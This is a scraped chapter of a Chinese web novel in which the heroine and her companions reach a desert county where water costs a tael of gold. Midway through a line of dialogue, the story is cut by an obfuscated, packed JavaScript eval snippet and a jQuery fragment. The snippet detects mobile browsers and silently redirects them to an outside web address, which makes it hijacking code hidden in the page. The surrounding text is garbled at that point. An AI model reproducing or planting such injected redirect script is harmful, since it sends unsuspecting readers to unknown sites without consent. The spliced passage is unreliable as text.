29.邶县(一)

作品:《强嫁的小侯爷是个醋坛子

    纵然情绪失控,云疏月依然是侧身掩着面不肯哭出声来。


    这般克制的哭泣瞧得沈酌眉峰隆起。


    她在云府到底过得是什么日子,好歹是云家嫡出的大小姐,竟然连哭都得忍着。


    转念想到那日在云府快要被当众磋磨致死的她,好似一切就有了答案。


    可沈酌的心底却腾升出一股无名火来,想要叫那日在场的所有人,经历一遍云疏月所受过得苦!


    粗粝温暖的指腹擦过水嫩白皙的脸颊,温热的泪水黏在指尖,似要灼烧整只手掌。


    正在啜泣的人儿微微一愣,连压抑的哭声都停了。那留在脸上的温度和触感是那么清晰明显,叫她不知所措。


    “你,你想哭便哭,哭出声也没关系。你就当我不存在,或者我可以到车外去。”


    云疏月抬手擦掉眼泪,轻摇着头,道:“不必了。”


    手指触碰到袖间那一方檀木盒,斟酌之下,还是没有问出那些话,由人转述不如当面聊来得好些。


    “赵公子,邢公子会来北地吗?”


    沈酌目光下移,落在那方被云疏月紧紧捏在手里的檀木盒。


    “我和秦无恙替他寻的医师前两日到了沧州城,前两日传信来说已经进行了治疗,只需好生调养些时日便可出发北地与我相会。”


    “治疗?他患有什么病?严重吗?”云疏月问得急促。


    沈酌心中不是滋味,但也没瞒着:“娘胎里带的病根,时好时坏,这位医师是杏林圣手,想来此次之后辰光能彻底摆脱此症了。”


    云疏月闻言松了口气,没有性命之忧就好。


    若邢繁蕴当真是哥哥,那他这一世倒是比前世幸运许多,同样是娘胎里带来的弱症,这次有钱医治了。


    秋风急,马蹄更急。


    接连端了两个匪贼的巢穴,沈酌担心背后之人坐不住,会闻着味儿赶来。


    若是只有他和雁书便罢了,身边跟着两名女子总归是不好见血腥,只好催着雁书快了又快,途中甚至是连驿站也不住了,马车也换了好几辆。


    越往北走,草木越少,沙尘越大。


    尤其是一阵风吹来时,恨不得十指都看不清,正常呼吸都能塞一鼻子的沙尘,更别提开口说话了。


    而最为可怖的是,这北方的风似乎就没有小的,要么风平沙静,要么就是沙尘暴席卷而来。


    就这鸟都不拉屎的破地方,人在这儿当真能生存?


    别先没渴死饿死,先被风沙噎死。


    天气和环境双重恶劣之下,导致马车行走也十分缓慢。


    云疏月一行人只能趁着没起风的时候,顶着烈日炎炎赶路,起风的时候别说行走了,就连原地躲避也要小心抱团避免被吹走,更别提还要保证马儿不被惊跑。


    经过几次这样的险境后,云疏月思忖着不能这样下去。


    “这里有地方可以买骆驼吗?这还没到邶州城就已经如此干燥,后面的路马儿恐怕是吃不消。”


    “正打算到邶县去换呢,邶州城是进入北地的第一城,而邶县则是进入邶州城的必经之路,只有那儿能换这些东西,到时候还得灌些水囊,换些干粮,得待上两日。”


    听了雁书的回复,云疏月落下心来,只要有得换就好。


    等到了邶县得好好休整一番,在风沙里这一路走来着实累得慌,路上还只能用盐漱口,用毛巾擦身,实在难忍。


    届时叫上一桶热水好好沐浴,再换身舒坦的衣裳,吃上一桌热菜,再走上些时日就能见到舅舅了,云疏月美美地想着。


    然而这些愿望除了换身衣裳实现了,其他的都成了空想。


    邶县内最大的客栈云间居二楼上房里,云疏月瞪大了双眼,听了店小二说的话,声音都拔高了几度。


    “没水?什么叫做没水?你们开客栈的难道连客人的洗漱都不提供吗?那你们还开店做什么生意,干脆关门回家种地好了!”


    店小二似乎对这样的情形已经习以为常,面对云疏月的指责并未动怒生气。


    “这位客官,实在不好意思,店里确实没有供给沐浴的水。”


    虽然客栈设施很是差劲,但店小二服务态度不错,说话也是不疾不徐十分平稳,云疏月有气也撒不出。


    罢了,没水洗就来点喝的热水吧,自从进到北方沙地已经许久没有烧过热水喝了。


    “那你给我烧壶热水送到房间吧。”云疏月退而求其次。


    “不好意思客官……”


    一听这话头,云疏月立马又心生警惕,“你别告诉我连喝的水都没有!”


    “有有有,喝的水是有的。”店小二连声回道,脸上笑容不减,“客官误会了,小的只是想问问客官您是要多少热水?”


    “不是说了一壶吗?”云疏月已经快要没什么耐心。


    她身上黏糊糊难受死了,在知道无法痛快沐浴之后本就心情不好,叫这店小二烧个水还磨磨唧唧实在恼人。


    店小二得了准信还未走,上前两步伸出手,掌心朝上,脸上笑吟吟的。


    “客官,一壶热水,一两黄金,先付后送。”


    “一两?还黄金!你可真敢开口啊!”云疏月猛地起身,实在是忍不下去了。


    她在此刻终于意识到,这根本就不是什么邶县最大的客栈,而是全大晏最黑的黑店!


    她叫上桑麻立马踏出房门。


    她就算变换了些银票带在身上,但也禁不住这样耗费啊。哪有一壶水就要收一两黄金的,房钱也不过是十两还是白银。


    这宰客也宰得太狠了,甚至连掩饰的借口都不愿寻找,就这般光明正大直白地宰啊!


    云疏月走到楼梯处,看到大厅内坐了不少人,瞧那些风格各异的着装行头就知道这些人来自天南海北,多不是本地的。


    她就不信这些人都肯花一两黄金来这儿喝一壶水。


    定然是这店小二见她年纪轻又是个姑娘家,这才宰到她头上来了。


    云疏月下了楼,雁书将马换了骆驼正好进店,几人迎面碰上,云疏月拽着雁书气鼓鼓地就往外走。


    “这家是黑店,我们换一家住。”


    “黑店?我接到的消息说云间居是邶县最好的客栈了,是不是有什么误会?”


    雁书顺着云疏月手上的劲出了客栈,目光看向桑麻,他都不知道发生了何事。


    桑麻在一旁小声说着:“小姐想要沐浴,但那店小二说没有水可以沐浴,还说一壶热水要收一两黄金才肯去烧,小姐气不过。”


    “这事儿啊!”雁书一听便了然了,他提前接到过情报,对此早有了心理准备。


    “云姑娘,是这样的。北地与旁的地方不一样,在这里,拥有水源的人那可是拥有绝对话语权的。每日的水要分配给谁,分配多少都是有水源


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954145|133737||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的人说了算,可不是随随便便就能得到的。在北地的水确实比黄金还贵。”


    听过雁书说的这些话后,云疏月心底对自己方才发的那通脾气生出些扭捏的歉意。


    是她想当然了,以为有人的地方一定会有水,却忘了这里是沙地,纵然有水那也定是十分有限。


    “那,那这里的人都不洗澡吗?”


    雁书听到这话有些忍俊不禁:“这里的人能活着就不错了,生存都成问题谁还在意这个?云姑娘,等这两日休整好了我们就出发去邶州城,那里水源多一些,应当可以好好洗个澡。这两日且再忍忍吧。”


    台阶都递到面前了,云疏月若是再拿乔就有些不识趣了。


    她挽着桑麻,捂着空荡荡的肚子,委屈巴巴。


    “雁书,肚子饿了,有没有好吃的?”


    “我刚瞧了,云间居的牛肉干着实不错,走,我请客!”不知何时跟来的沈酌说道。


    云疏月豪气万丈地说道:“好!你请客,我付钱,方才房钱是你付的,这个就别跟我抢了。”


    “好……”沈酌弯了嘴角应了她。


    四人回到云间居,云疏月本还担心看见店小二会有些尴尬,没想到人家一如既往的招待,仿佛方才的事没发生一样。


    云疏月在心里默默赞许,云间居能做到邶县最大的客栈确实是有道理的,就连店小二的行事都十分有格局。


    花钱再心疼也不能渴死,云疏月花了十两黄金买了十壶热水,除去六壶灌进水囊存着用来喝,也狠狠心一人一壶热水简单擦了身子。


    像云疏月这般肯花钱买水的,是整个邶县都难找出第二人的大方。


    店小二来给云疏月房里送热水和吃食时,嘴上连连说着:“能跟在姑娘身边做事真是好福气,像姑娘这般体恤仆人的实在难见。”


    “桑麻可不是我的仆人,桑麻是我的妹妹。”


    云疏月说得诚挚,桑麻也感怀于心,心道此生定不辜负小姐。


    店小二闻言点头称是,“姑娘胸怀非凡,定能有一番成就。”


    店小二致意后也退出了房间,将门带上。


    云疏月但笑不语,她并不奢望成就什么大事,能活着便是极好的。


    休息了一下午,云疏月也有了些许精神,生出了些逛一逛邶县的心思。


    四人一同出了门。


    整个邶县背靠着一座不算太高的山坡,再加上修建了城墙,几乎隔绝了外面的狂风吹袭。


    屋舍大多都是木头与黄泥修建而成,极少数像云间居这样的才用了砖作为墙体,墙上屋檐上或是门上常有彩色的布条作为装饰,看起来十分有特色。


    邶县中间有十字交叉的主街道,是县城里最热闹的地方。


    街道两边有不少居民摆上些手作的小玩意儿售卖,也有外地的行商将自己的货物摆上。


    云疏月走在街上,心里一直存有疑惑。


    她向身旁的北地百科全书雁书问道:“邶县看起来十分贫瘠,水源又这般昂贵,为何还有这么多行商来此啊?”


    商人最是精明,可以说是无利不起早,绝不会做亏本的买卖。


    雁书闻言回道:“具体的我也不知道,只知道在邶州城有个姓王的富户,行商们大多是与他做生意。”


    王富户,也不知道他做的什么买卖,在这偏僻难行的北地也能吸引这么多商人前来。